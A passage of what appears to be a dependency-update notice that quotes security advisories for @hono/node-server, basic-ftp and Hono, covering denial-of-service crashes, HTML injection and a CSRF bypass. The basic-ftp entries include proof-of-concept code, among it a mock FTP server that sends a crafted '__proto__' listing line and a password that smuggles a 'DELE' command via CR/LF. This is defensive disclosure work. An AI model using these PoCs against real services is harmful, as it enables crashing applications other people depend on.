[https://github.com/honojs/node-server/releases/tag/v1.19.18](https://redirect.github.com/honojs/node-server/releases/tag/v1.19.18)
-
[https://github.com/honojs/node-server/releases/tag/v2.1.6](https://redirect.github.com/honojs/node-server/releases/tag/v2.1.6)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-jpvv-r467-5p4w) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### @&#8203;hono/node-server: Unhandled `ECONNRESET` on the socket
during an asynchronous WebSocket upgrade crashes the process
[CVE-2026-126343](https://nvd.nist.gov/vuln/detail/CVE-2026-126343) /
[GHSA-qv5m-9pm6-hqp3](https://redirect.github.com/advisories/GHSA-qv5m-9pm6-hqp3)

<details>
<summary>More information</summary>

#### Details
##### Summary

While `@hono/node-server` waits for the Hono application to handle a
WebSocket upgrade request, the socket has no error listener. If the
client resets the TCP connection during that time, the resulting
`ECONNRESET` is emitted as an unhandled `'error'` event and the process
terminates.

##### Details

The upgrade handler awaits the application before attaching any listener
to the socket. When middleware on the upgrade path does asynchronous
work, such as an authentication lookup, a connection reset in that
window has no handler. If a global `uncaughtException` handler swallows
the error, the pending upgrade is never released and its entry is
retained for the lifetime of the process.

The fix attaches error and close listeners to the socket before calling
the application, releases the pending upgrade when the socket closes,
and skips the handshake on a destroyed socket.

##### Impact

An unauthenticated client can terminate the server process with a single
connection by sending a WebSocket upgrade request and resetting the
connection before the application has responded. Where the crash is
suppressed, repeated requests grow the heap.

This affects applications that enable WebSocket support in
`@hono/node-server` and run asynchronous middleware or handlers on the
upgrade path.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/honojs/node-server/security/advisories/GHSA-qv5m-9pm6-hqp3](https://redirect.github.com/honojs/node-server/security/advisories/GHSA-qv5m-9pm6-hqp3)
-
[61cc0267e6)
-
[https://github.com/honojs/node-server](https://redirect.github.com/honojs/node-server)
-
[https://github.com/honojs/node-server/releases/tag/v2.1.6](https://redirect.github.com/honojs/node-server/releases/tag/v2.1.6)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qv5m-9pm6-hqp3) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### basic-ftp: Uncaught TypeError in MLSD directory-listing parser via
__proto__ fact name causes DoS in Client.list()
[CVE-2026-126345](https://nvd.nist.gov/vuln/detail/CVE-2026-126345) /
[GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)

<details>
<summary>More information</summary>

#### Details
##### Summary

basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks
up fact-handler functions in a plain object literal keyed directly by
fact names taken from the FTP server's response, with no validation. A
directory-listing line containing the fact name "__proto__" resolves
this lookup to Object.prototype (inherited, non-own, non-function)
instead of undefined, so the "not a function" guard is bypassed and the
code throws `TypeError: factHandler is not a function`.

This TypeError is not an FTPError, so it is not caught by
Client.list()'s retry logic and propagates as a rejected promise out of
list() and every API built on top of it (list, downloadToDir,
uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client
connects to — or any on-path attacker on a plaintext (non-TLS) FTP
session — can crash the calling application by returning one crafted
line in a directory listing. If the application does not wrap every one
of these calls in try/catch, the rejection is unhandled and crashes the
Node.js process (default behavior since Node 15).

##### Details

File: src/parseListMLSD.ts
```
const factHandlersByName: {[key: string]: FactHandler} = {
    "size": parseSize,
    "sizd": parseSize,
    "unique": (value, info) => { info.uniqueID = value },
    "modify": (value, info) => { ... },
    "type": (value, info) => { ... },
    "unix.mode": (value, info) => { ... },
    ...
}

export function parseLine(line: string): FileInfo | undefined {
    const [ packedFacts, name ] = splitStringOnce(line, " ")
    ...
    const facts = packedFacts.split(";")
    for (const fact of facts) {
        const [ factName, factValue ] = splitStringOnce(fact, "=")
        if (!factValue) { continue }
        const factHandler = factHandlersByName[factName.toLowerCase()]   // <-- unsafe lookup
        if (!factHandler) { continue }
        const result = factHandler(factValue, info)                     // <-- throws here
        ...
    }
    return info
}
```
factHandlersByName is a plain `{}` object literal, so it inherits from
Object.prototype. Property access does not distinguish own keys from
inherited ones. When factName.toLowerCase() === "__proto__", the bracket
lookup factHandlersByName["__proto__"] returns Object.prototype itself —
a truthy, non-undefined value — so the `if (!factHandler) continue`
guard does not fire. The code then tries to call Object.prototype as a
function: `factHandler(factValue, info)`, which throws `TypeError:
factHandler is not a function`.

This line runs inside parseList() (src/parseList.ts), called
synchronously from a `.map()` over every line of the listing, which in
turn is called from Client._requestListWithCommand() -> Client.list()
(src/Client.ts). list()'s only error handling is:
```
    catch (err) {
        const shouldTryNext = err instanceof FTPError
        if (!shouldTryNext) { throw err }
        lastError = err
    }
```
A plain TypeError is not an FTPError, so it is immediately rethrown
instead of being retried or suppressed, and the Promise returned by
list() rejects with it.

Affected call paths (all eventually call Client.list()):
- Client.list()
- Client.downloadToDir() / _downloadFromWorkingDir()
- Client.clearWorkingDir()
- Client.removeDir()

Only "__proto__" triggers the crash this way; other reserved
Object.prototype property names tested ("constructor", "toString",
"hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to
actual functions on Object.prototype, so they are called without
throwing (silently ineffective, not a crash). This confirms the root
cause is the use of an unguarded object literal as a dictionary keyed by
untrusted server input, rather than something specific to one property.

##### Proof of concept

Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install`
then `npm run buildOnly` (or `npx tsc`) to produce dist/.

Step 1 — Minimal reproduction of the parser bug alone:

    node -e '
    const { parseList } = require("./dist/parseList");
    parseList("__proto__=x;type=file;size=10; evil.txt");
    '

Expected result:
    Uncaught TypeError: factHandler is not a function
        at parseLine (.../dist/parseListMLSD.js:...)

Step 2 — End-to-end reproduction through the public Client API, proving
a real FTP server can trigger this over the wire with no client
modification:

    Save as poc.js in the repo root and run `node poc.js`:

    const net = require("net")
    const { Client } = require("./dist/index")

    const server = net.createServer(socket => {
        socket.write("220 fake ftp ready\r\n")
        socket.on("data", data => {
            const cmd = data.toString().trim()
            if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
            else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
                     cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
                     cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST
type;size;\r\n211 End\r\n")
            else if (cmd.startsWith("EPSV")) {
                const dataServer = net.createServer(dsock => {
                    // The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
                })
                dataServer.listen(0, "127.0.0.1", () => {
                    const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
                })
            }
            else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
                socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
            }
            else socket.write("200 ok\r\n")
        })
    })

    server.listen(2121, "127.0.0.1", async () => {
        const client = new Client()
        try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a",
password: "b" })
            const files = await client.list()
            console.log("list() returned normally (unexpected):", files)
        } catch (err) {
console.log("client.list() threw:", err.constructor.name, "-",
err.message)
        } finally {
            client.close()
            server.close()
            process.exit(0)
        }
    })

Expected output:

    client.list() threw: TypeError - factHandler is not a function

Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain
FTP (PASV/EPSV
text) session using the server's FEAT response to turn on MLSD, which is
the common
  path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line
too, since
  parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around
list()/downloadToDir()/
clearWorkingDir()/removeDir(), this rejection is unhandled and
terminates the
Node.js process by default (Node >=15 unhandledRejection behavior is
"throw").

##### Impact

Type: Denial of Service (CWE-248: Uncaught Exception, enabled by
CWE-1321-style unguarded dictionary lookup on an object literal).

Who is impacted: Any application using basic-ftp's Client.list(),
downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths),
clearWorkingDir(), or removeDir() against a server that is malicious,
compromised, or reachable by an on-path attacker on a non-TLS FTP
session. No authentication to the target server is required beyond
whatever credentials the application already uses, and no user
interaction is required — a single crafted directory-listing line is
sufficient.

Confidentiality: None. Integrity: None. Availability: High — unhandled
rejection crashes the Node.js process by default, taking down the whole
application/service, not just the FTP operation.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r)
-
[a22664a45d)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4)
-
[https://github.com/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### basic-ftp: Uncaught exception crashes the Node.js process when a
password (or resumed-download path) contains CR/LF
[CVE-2026-126346](https://nvd.nist.gov/vuln/detail/CVE-2026-126346) /
[GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)

<details>
<summary>More information</summary>

#### Details
##### Summary

Client.login() calls FTPContext.send() from inside the control-socket
data event handler. send() throws on CR, LF or NUL, and nothing catches
the throw. A password containing \r\n therefore raises an uncaught
exception and terminates the whole Node.js process. It does not reject
the returned promise. Any application that passes untrusted input as the
FTP password can be crashed remotely with one request. The same pattern
exists in the REST/RETR path of downloadTo() when the remote path
contains control characters.

##### Details

The CRLF guard (FTPContext.send, src/FtpContext.ts ~L233) correctly
refuses to send commands containing \r, \n or \0:
```ts
send(command: string) {
    if (/[\r\n\0]/.test(command)) {
        throw new Error(`Invalid command: Contains control characters. (${command})`);
    }
```

That works when send() is called from handle(), because it runs inside a
Promise executor and the throw becomes a rejection. But in two places
send() runs inside a response handler, which is called synchronously
from the socket’s data event:

Client.login() (src/Client.ts ~L246-248): after the server answers 331
to USER, the handler calls this.ftp.send("PASS " + password). The USER
command was already sent and is valid, so the password is only checked
at this point. The call chain is socket.on("data") →
_onControlSocketData → _passToHandler → responseHandler → send() →
throw. No try/catch exists anywhere in that chain, so it becomes an
uncaughtException.
downloadTo() (src/transfer.ts ~L368-370): when startAt > 0, the initial
command is REST n, which contains no user-controlled text. When the
server answers 350, the handler calls config.ftp.send("RETR " +
config.remotePath). This remotePath was never checked before. A path
with a control character throws in the data handler in the same way.
(Found by code reading, not reproduced.)

Because the exception happens during data event dispatch, it can’t be
handled with try/catch or .catch() around client.access() or
downloadTo(). The application only survives if it has a global
process.on("uncaughtException") handler.

##### Proof of concept

Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source).
It uses a minimal mock FTP server on localhost:

```js
const net = require("net")
const ftp = require("basic-ftp")

const srv = net.createServer(s => {
  s.write("220 hi\r\n")
  s.on("data", d => {
    const c = d.toString()
    if (c.startsWith("USER")) s.write("331 pw\r\n")
    else if (c.startsWith("PASS")) s.write("230 ok\r\n")
    else s.write("200 ok\r\n")
  })
})

srv.listen(0, async () => {
  const c = new ftp.Client(2000)
  try {
    await c.access({
      host: "127.0.0.1",
      port: srv.address().port,
      user: "bob",
      password: "x\r\nDELE important"   // attacker-controlled value
    })
  } catch (e) {
    console.log("rejected:", e.message)  // never reached
  }
  console.log("handled gracefully")      // never reached
  process.exit(0)
})
```
Result: the process terminates with an uncaught exception and neither
catch nor the final console.log runs:
```
Error: Invalid command: Contains control characters. (PASS x
DELE important)
    at FTPContext.send (dist/FtpContext.js:189:19)
    at Object.responseHandler (dist/Client.js:186:26)
    at FTPContext._passToHandler (dist/FtpContext.js:322:24)
    at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
    at Socket.<anonymous> (dist/FtpContext.js:133:44)
```
The server in the PoC is benign. Any normal FTP server that replies 331
to USER triggers the same crash.

##### Impact

Denial of service (uncaught exception, process termination), CWE-248.

It affects applications that pass untrusted or user-influenced values as
the FTP password, or as the remote path of a resumed download. Examples
are web apps or services that let users enter their own FTP credentials,
or file-transfer or backup tools driven by user-supplied paths. One
request crashes the whole Node.js process and every other client it
serves. It needs no authentication to the FTP server and no special
server behaviour. The attacker only needs control over the string.
Confidentiality and integrity are not affected, and the CRLF guard still
blocks command injection.

Suggested fix:

In FTPContext._passToHandler(), wrap the handler call in a try/catch
that rejects the task and calls closeWithError(err).
Validate password in login(), and remotePath in _downloadToStream(),
before any I/O and reject early.

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr)
-
[0495b906bd)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3)
-
[https://github.com/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### basic-ftp: Uncaught exception crashes the Node.js process when a
password (or resumed-download path) contains CR/LF
[CVE-2026-126346](https://nvd.nist.gov/vuln/detail/CVE-2026-126346) /
[GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)

<details>
<summary>More information</summary>

#### Details
##### Summary

Client.login() calls FTPContext.send() from inside the control-socket
data event handler. send() throws on CR, LF or NUL, and nothing catches
the throw. A password containing \r\n therefore raises an uncaught
exception and terminates the whole Node.js process. It does not reject
the returned promise. Any application that passes untrusted input as the
FTP password can be crashed remotely with one request. The same pattern
exists in the REST/RETR path of downloadTo() when the remote path
contains control characters.

##### Details

The CRLF guard (FTPContext.send, src/FtpContext.ts ~L233) correctly
refuses to send commands containing \r, \n or \0:
```ts
send(command: string) {
    if (/[\r\n\0]/.test(command)) {
        throw new Error(`Invalid command: Contains control characters. (${command})`);
    }
```

That works when send() is called from handle(), because it runs inside a
Promise executor and the throw becomes a rejection. But in two places
send() runs inside a response handler, which is called synchronously
from the socket’s data event:

Client.login() (src/Client.ts ~L246-248): after the server answers 331
to USER, the handler calls this.ftp.send("PASS " + password). The USER
command was already sent and is valid, so the password is only checked
at this point. The call chain is socket.on("data") →
_onControlSocketData → _passToHandler → responseHandler → send() →
throw. No try/catch exists anywhere in that chain, so it becomes an
uncaughtException.
downloadTo() (src/transfer.ts ~L368-370): when startAt > 0, the initial
command is REST n, which contains no user-controlled text. When the
server answers 350, the handler calls config.ftp.send("RETR " +
config.remotePath). This remotePath was never checked before. A path
with a control character throws in the data handler in the same way.
(Found by code reading, not reproduced.)

Because the exception happens during data event dispatch, it can’t be
handled with try/catch or .catch() around client.access() or
downloadTo(). The application only survives if it has a global
process.on("uncaughtException") handler.

##### Proof of concept

Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source).
It uses a minimal mock FTP server on localhost:

```js
const net = require("net")
const ftp = require("basic-ftp")

const srv = net.createServer(s => {
  s.write("220 hi\r\n")
  s.on("data", d => {
    const c = d.toString()
    if (c.startsWith("USER")) s.write("331 pw\r\n")
    else if (c.startsWith("PASS")) s.write("230 ok\r\n")
    else s.write("200 ok\r\n")
  })
})

srv.listen(0, async () => {
  const c = new ftp.Client(2000)
  try {
    await c.access({
      host: "127.0.0.1",
      port: srv.address().port,
      user: "bob",
      password: "x\r\nDELE important"   // attacker-controlled value
    })
  } catch (e) {
    console.log("rejected:", e.message)  // never reached
  }
  console.log("handled gracefully")      // never reached
  process.exit(0)
})
```
Result: the process terminates with an uncaught exception and neither
catch nor the final console.log runs:
```
Error: Invalid command: Contains control characters. (PASS x
DELE important)
    at FTPContext.send (dist/FtpContext.js:189:19)
    at Object.responseHandler (dist/Client.js:186:26)
    at FTPContext._passToHandler (dist/FtpContext.js:322:24)
    at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
    at Socket.<anonymous> (dist/FtpContext.js:133:44)
```
The server in the PoC is benign. Any normal FTP server that replies 331
to USER triggers the same crash.

##### Impact

Denial of service (uncaught exception, process termination), CWE-248.

It affects applications that pass untrusted or user-influenced values as
the FTP password, or as the remote path of a resumed download. Examples
are web apps or services that let users enter their own FTP credentials,
or file-transfer or backup tools driven by user-supplied paths. One
request crashes the whole Node.js process and every other client it
serves. It needs no authentication to the FTP server and no special
server behaviour. The attacker only needs control over the string.
Confidentiality and integrity are not affected, and the CRLF guard still
blocks command injection.

Suggested fix:

In FTPContext._passToHandler(), wrap the handler call in a try/catch
that rejects the task and calls closeWithError(err).
Validate password in login(), and remotePath in _downloadToStream(),
before any I/O and reject early.

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr)
-
[0495b906bd)
-
[https://github.com/patrickjuchli/basic-ftp](https://redirect.github.com/patrickjuchli/basic-ftp)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-r4jh-29pc-gfqr) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### basic-ftp: Uncaught TypeError in MLSD directory-listing parser via
__proto__ fact name causes DoS in Client.list()
[CVE-2026-126345](https://nvd.nist.gov/vuln/detail/CVE-2026-126345) /
[GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)

<details>
<summary>More information</summary>

#### Details
##### Summary

basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks
up fact-handler functions in a plain object literal keyed directly by
fact names taken from the FTP server's response, with no validation. A
directory-listing line containing the fact name "__proto__" resolves
this lookup to Object.prototype (inherited, non-own, non-function)
instead of undefined, so the "not a function" guard is bypassed and the
code throws `TypeError: factHandler is not a function`.

This TypeError is not an FTPError, so it is not caught by
Client.list()'s retry logic and propagates as a rejected promise out of
list() and every API built on top of it (list, downloadToDir,
uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client
connects to — or any on-path attacker on a plaintext (non-TLS) FTP
session — can crash the calling application by returning one crafted
line in a directory listing. If the application does not wrap every one
of these calls in try/catch, the rejection is unhandled and crashes the
Node.js process (default behavior since Node 15).

##### Details

File: src/parseListMLSD.ts
```
const factHandlersByName: {[key: string]: FactHandler} = {
    "size": parseSize,
    "sizd": parseSize,
    "unique": (value, info) => { info.uniqueID = value },
    "modify": (value, info) => { ... },
    "type": (value, info) => { ... },
    "unix.mode": (value, info) => { ... },
    ...
}

export function parseLine(line: string): FileInfo | undefined {
    const [ packedFacts, name ] = splitStringOnce(line, " ")
    ...
    const facts = packedFacts.split(";")
    for (const fact of facts) {
        const [ factName, factValue ] = splitStringOnce(fact, "=")
        if (!factValue) { continue }
        const factHandler = factHandlersByName[factName.toLowerCase()]   // <-- unsafe lookup
        if (!factHandler) { continue }
        const result = factHandler(factValue, info)                     // <-- throws here
        ...
    }
    return info
}
```
factHandlersByName is a plain `{}` object literal, so it inherits from
Object.prototype. Property access does not distinguish own keys from
inherited ones. When factName.toLowerCase() === "__proto__", the bracket
lookup factHandlersByName["__proto__"] returns Object.prototype itself —
a truthy, non-undefined value — so the `if (!factHandler) continue`
guard does not fire. The code then tries to call Object.prototype as a
function: `factHandler(factValue, info)`, which throws `TypeError:
factHandler is not a function`.

This line runs inside parseList() (src/parseList.ts), called
synchronously from a `.map()` over every line of the listing, which in
turn is called from Client._requestListWithCommand() -> Client.list()
(src/Client.ts). list()'s only error handling is:
```
    catch (err) {
        const shouldTryNext = err instanceof FTPError
        if (!shouldTryNext) { throw err }
        lastError = err
    }
```
A plain TypeError is not an FTPError, so it is immediately rethrown
instead of being retried or suppressed, and the Promise returned by
list() rejects with it.

Affected call paths (all eventually call Client.list()):
- Client.list()
- Client.downloadToDir() / _downloadFromWorkingDir()
- Client.clearWorkingDir()
- Client.removeDir()

Only "__proto__" triggers the crash this way; other reserved
Object.prototype property names tested ("constructor", "toString",
"hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to
actual functions on Object.prototype, so they are called without
throwing (silently ineffective, not a crash). This confirms the root
cause is the use of an unguarded object literal as a dictionary keyed by
untrusted server input, rather than something specific to one property.

##### Proof of concept

Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install`
then `npm run buildOnly` (or `npx tsc`) to produce dist/.

Step 1 — Minimal reproduction of the parser bug alone:

    node -e '
    const { parseList } = require("./dist/parseList");
    parseList("__proto__=x;type=file;size=10; evil.txt");
    '

Expected result:
    Uncaught TypeError: factHandler is not a function
        at parseLine (.../dist/parseListMLSD.js:...)

Step 2 — End-to-end reproduction through the public Client API, proving
a real FTP server can trigger this over the wire with no client
modification:

    Save as poc.js in the repo root and run `node poc.js`:

    const net = require("net")
    const { Client } = require("./dist/index")

    const server = net.createServer(socket => {
        socket.write("220 fake ftp ready\r\n")
        socket.on("data", data => {
            const cmd = data.toString().trim()
            if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
            else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
                     cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
                     cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST
type;size;\r\n211 End\r\n")
            else if (cmd.startsWith("EPSV")) {
                const dataServer = net.createServer(dsock => {
                    // The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
                })
                dataServer.listen(0, "127.0.0.1", () => {
                    const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
                })
            }
            else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
                socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
            }
            else socket.write("200 ok\r\n")
        })
    })

    server.listen(2121, "127.0.0.1", async () => {
        const client = new Client()
        try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a",
password: "b" })
            const files = await client.list()
            console.log("list() returned normally (unexpected):", files)
        } catch (err) {
console.log("client.list() threw:", err.constructor.name, "-",
err.message)
        } finally {
            client.close()
            server.close()
            process.exit(0)
        }
    })

Expected output:

    client.list() threw: TypeError - factHandler is not a function

Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain
FTP (PASV/EPSV
text) session using the server's FEAT response to turn on MLSD, which is
the common
  path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line
too, since
  parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around
list()/downloadToDir()/
clearWorkingDir()/removeDir(), this rejection is unhandled and
terminates the
Node.js process by default (Node >=15 unhandledRejection behavior is
"throw").

##### Impact

Type: Denial of Service (CWE-248: Uncaught Exception, enabled by
CWE-1321-style unguarded dictionary lookup on an object literal).

Who is impacted: Any application using basic-ftp's Client.list(),
downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths),
clearWorkingDir(), or removeDir() against a server that is malicious,
compromised, or reachable by an on-path attacker on a non-TLS FTP
session. No authentication to the target server is required beyond
whatever credentials the application already uses, and no user
interaction is required — a single crafted directory-listing line is
sufficient.

Confidentiality: None. Integrity: None. Availability: High — unhandled
rejection crashes the Node.js process by default, taking down the whole
application/service, not just the FTP operation.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r)
-
[a22664a45d)
-
[https://github.com/patrickjuchli/basic-ftp](https://redirect.github.com/patrickjuchli/basic-ftp)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5pm8-86m8-9m6r) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Hono: `css` helper does not escape a closing tag split between the
template and an interpolated value, allowing HTML injection
[CVE-2026-126359](https://nvd.nist.gov/vuln/detail/CVE-2026-126359) /
[GHSA-3gg2-335m-rxc6](https://redirect.github.com/advisories/GHSA-3gg2-335m-rxc6)

<details>
<summary>More information</summary>

#### Details
##### Summary

The `css` helper in `hono/css` escapes a `/` that follows `<` inside an
interpolated value so that a value cannot close the `<style>` element.
The check only looks inside each value. When the text before a value
ends with `<`, whether that is the template itself or an earlier
interpolated value, and the next value starts with `/`, the `/` is not
escaped and the combined output contains an unescaped closing tag.

##### Details

Interpolated string values are escaped one at a time before they are
joined with the surrounding template text. The rule that neutralizes
`</` therefore cannot see a `<` that belongs to the template. A template
such as a `content` declaration that opens with a literal `<` and
interpolates a string right after it produces a raw `</style>` when that
string starts with `/style>`. During server-side rendering the `<Style
/>` element is closed early and the rest of the value is interpreted as
HTML.

This issue arises only when `<` is the last character before an
interpolation in a `css` template, either written in the template or
supplied by a preceding value, and the interpolated value is controlled
by a client.

##### Impact

A client that controls such a value can inject HTML, including script,
into the page rendered on the server.

This may lead to:

- Execution of attacker-controlled script in the browser of a user who
views the page
- Exposure of information available to that page

This issue affects applications that interpolate untrusted strings into
a `css` template immediately after a `<`, including two adjacent
interpolations such as `${prefix}${name}` where both are untrusted.
Other uses of the `css` helper are not affected.

##### Workarounds

Do not interpolate untrusted values into `css` templates, or make sure
the text before an interpolated value does not end with `<`.

#### Severity
- CVSS Score: 3.4 / 10 (Low)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N`

#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-3gg2-335m-rxc6](https://redirect.github.com/honojs/hono/security/advisories/GHSA-3gg2-335m-rxc6)
-
[15bbd96ad1)
-
[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-3gg2-335m-rxc6) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Hono: `csrf()` does not check requests sent by hyperlink auditing
(`text/ping`)
[CVE-2026-126355](https://nvd.nist.gov/vuln/detail/CVE-2026-126355) /
[GHSA-46wx-v44x-9hh2](https://redirect.github.com/advisories/GHSA-46wx-v44x-9hh2)

<details>
<summary>More information</summary>

#### Details
##### Summary

`csrf()` validates a request only when its `Content-Type` is one of the
three types an HTML form can send. Chromium's hyperlink auditing (`<a
ping>`) sends a cross-origin POST with the user's cookies and the
content type `text/ping`, which is not in that list. The middleware does
not look at `Origin` or `Sec-Fetch-Site` for such a request, so it is
passed to the handler.

##### Details

The middleware skips the origin check when the content type is not one
that a form submission produces. The assumption was that any other
content type requires a CORS preflight and therefore cannot be sent
cross-origin with credentials. Hyperlink auditing is an exception:
Chrome and Edge send the ping as a credentialed POST without a
preflight, with a fixed body and `Content-Type: text/ping`.

A page on another origin can therefore trigger a POST to any URL of the
application. The `csrf()` options for `origin` and `secFetchSite` do not
change the outcome, because neither header is evaluated for the request.

The request body is fixed, so only actions whose effect does not depend
on the body can be triggered. Firefox does not send pings by default. As
with any CSRF, the user's cookie must be sent with the request, which
with the default `SameSite=Lax` means a same-site origin or a cookie set
with `SameSite=None`.

##### Impact

A user who visits a malicious page in Chrome or Edge while logged in to
an application protected by `csrf()` can be made to send a
state-changing request to that application, such as logging out,
deleting a resource, or toggling a setting that is selected by the path
or query string.

This issue affects applications that rely on `csrf()` as their CSRF
protection and expose state-changing endpoints whose effect does not
depend on the request body.

##### Workarounds

Reject requests with a `Content-Type` of `text/ping` in a middleware
registered before `csrf()`, or set session cookies with
`SameSite=Strict`.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`

#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-46wx-v44x-9hh2](https://redirect.github.com/honojs/hono/security/advisories/GHSA-46wx-v44x-9hh2)
-
[bf16471913)
-
